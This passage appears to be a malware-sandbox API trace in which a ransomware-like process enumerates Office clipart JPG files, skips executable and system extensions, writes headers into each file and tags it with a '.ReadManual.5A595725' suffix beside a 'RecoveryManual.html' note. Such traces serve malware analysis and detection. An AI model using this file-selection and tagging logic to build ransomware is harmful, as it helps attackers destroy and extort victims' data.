dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.265] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=54972) returned 1 [0269.265] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd6bc, lpName=0x0) returned 0x184 [0269.265] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.266] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.266] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.268] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.268] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd6bc) returned 0x2f0000 [0269.269] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.270] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38993854496) returned 1 [0269.270] CloseHandle (hObject=0x184) returned 1 [0269.270] SetSecurityInfo () returned 0x57 [0269.270] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.270] CloseHandle (hObject=0x194) returned 1 [0269.270] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0269.270] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287641.JPG" | out: lpString1="J0287641.JPG") returned="J0287641.JPG" [0269.270] lstrcmpiW (lpString1="J0287641.JPG", lpString2="RecoveryManual.html") returned -1 [0269.270] StrStrIW (lpFirst="J0287641.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.270] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.270] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.270] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.270] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.270] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.270] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.270] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.270] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.270] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.271] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.271] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.271] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.271] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.271] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.271] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" [0269.271] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.ReadManual.5A595725" [0269.271] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.ReadManual.5A595725") returned 87 [0269.271] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38993952981) returned 1 [0269.271] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg")) returned 0x20 [0269.272] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.272] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35236) returned 1 [0269.272] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x89a4, lpName=0x0) returned 0x184 [0269.272] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.273] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.273] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.275] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.275] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x89a4) returned 0x2f0000 [0269.277] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.277] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38994617562) returned 1 [0269.277] CloseHandle (hObject=0x184) returned 1 [0269.278] SetSecurityInfo () returned 0x57 [0269.278] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.278] CloseHandle (hObject=0x194) returned 1 [0269.278] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0269.278] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287642.JPG" | out: lpString1="J0287642.JPG") returned="J0287642.JPG" [0269.278] lstrcmpiW (lpString1="J0287642.JPG", lpString2="RecoveryManual.html") returned -1 [0269.278] StrStrIW (lpFirst="J0287642.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.278] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.278] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.278] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.278] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.278] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.278] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.278] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.278] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.278] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" [0269.278] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.ReadManual.5A595725" [0269.278] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.ReadManual.5A595725") returned 87 [0269.278] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38994716278) returned 1 [0269.278] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg")) returned 0x20 [0269.279] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.279] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17105) returned 1 [0269.279] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42d1, lpName=0x0) returned 0x184 [0269.279] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.280] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.280] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.281] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.281] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42d1) returned 0x2f0000 [0269.282] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.282] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38995063835) returned 1 [0269.282] CloseHandle (hObject=0x184) returned 1 [0269.282] SetSecurityInfo () returned 0x57 [0269.282] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.282] CloseHandle (hObject=0x194) returned 1 [0269.282] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0269.282] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287643.JPG" | out: lpString1="J0287643.JPG") returned="J0287643.JPG" [0269.282] lstrcmpiW (lpString1="J0287643.JPG", lpString2="RecoveryManual.html") returned -1 [0269.282] StrStrIW (lpFirst="J0287643.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.282] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.282] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.282] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.282] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.282] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.282] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.283] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.283] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.283] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.283] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.283] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.283] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.283] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.283] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.283] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" [0269.283] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.ReadManual.5A595725" [0269.283] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.ReadManual.5A595725") returned 87 [0269.283] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38995161894) returned 1 [0269.283] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg")) returned 0x20 [0269.283] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.283] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16017) returned 1 [0269.283] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e91, lpName=0x0) returned 0x184 [0269.284] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.284] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.284] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.286] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.286] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e91) returned 0x2f0000 [0269.287] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.287] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38995552040) returned 1 [0269.287] CloseHandle (hObject=0x184) returned 1 [0269.287] SetSecurityInfo () returned 0x57 [0269.287] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.287] CloseHandle (hObject=0x194) returned 1 [0269.287] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0269.287] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287644.JPG" | out: lpString1="J0287644.JPG") returned="J0287644.JPG" [0269.287] lstrcmpiW (lpString1="J0287644.JPG", lpString2="RecoveryManual.html") returned -1 [0269.287] StrStrIW (lpFirst="J0287644.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.287] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.287] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.287] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.287] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.287] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.287] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.287] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.287] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.287] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.287] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.287] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.288] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.288] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.288] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.288] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" [0269.288] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.ReadManual.5A595725" [0269.288] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.ReadManual.5A595725") returned 87 [0269.288] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38995649413) returned 1 [0269.288] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg")) returned 0x20 [0269.288] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.288] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17349) returned 1 [0269.288] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43c5, lpName=0x0) returned 0x184 [0269.288] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.289] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.289] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.291] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.291] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43c5) returned 0x2f0000 [0269.291] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.291] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38995984673) returned 1 [0269.291] CloseHandle (hObject=0x184) returned 1 [0269.291] SetSecurityInfo () returned 0x57 [0269.291] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.291] CloseHandle (hObject=0x194) returned 1 [0269.291] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0269.291] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287645.JPG" | out: lpString1="J0287645.JPG") returned="J0287645.JPG" [0269.291] lstrcmpiW (lpString1="J0287645.JPG", lpString2="RecoveryManual.html") returned -1 [0269.291] StrStrIW (lpFirst="J0287645.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.292] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.292] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.292] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.292] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.292] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.292] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.292] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.292] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.292] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" [0269.292] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.ReadManual.5A595725" [0269.292] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.ReadManual.5A595725") returned 87 [0269.292] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38996078946) returned 1 [0269.292] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg")) returned 0x20 [0269.295] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.296] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36230) returned 1 [0269.296] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d86, lpName=0x0) returned 0x184 [0269.296] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.296] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.296] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.298] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.298] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d86) returned 0x2f0000 [0269.299] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.299] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38996807545) returned 1 [0269.299] CloseHandle (hObject=0x184) returned 1 [0269.299] SetSecurityInfo () returned 0x57 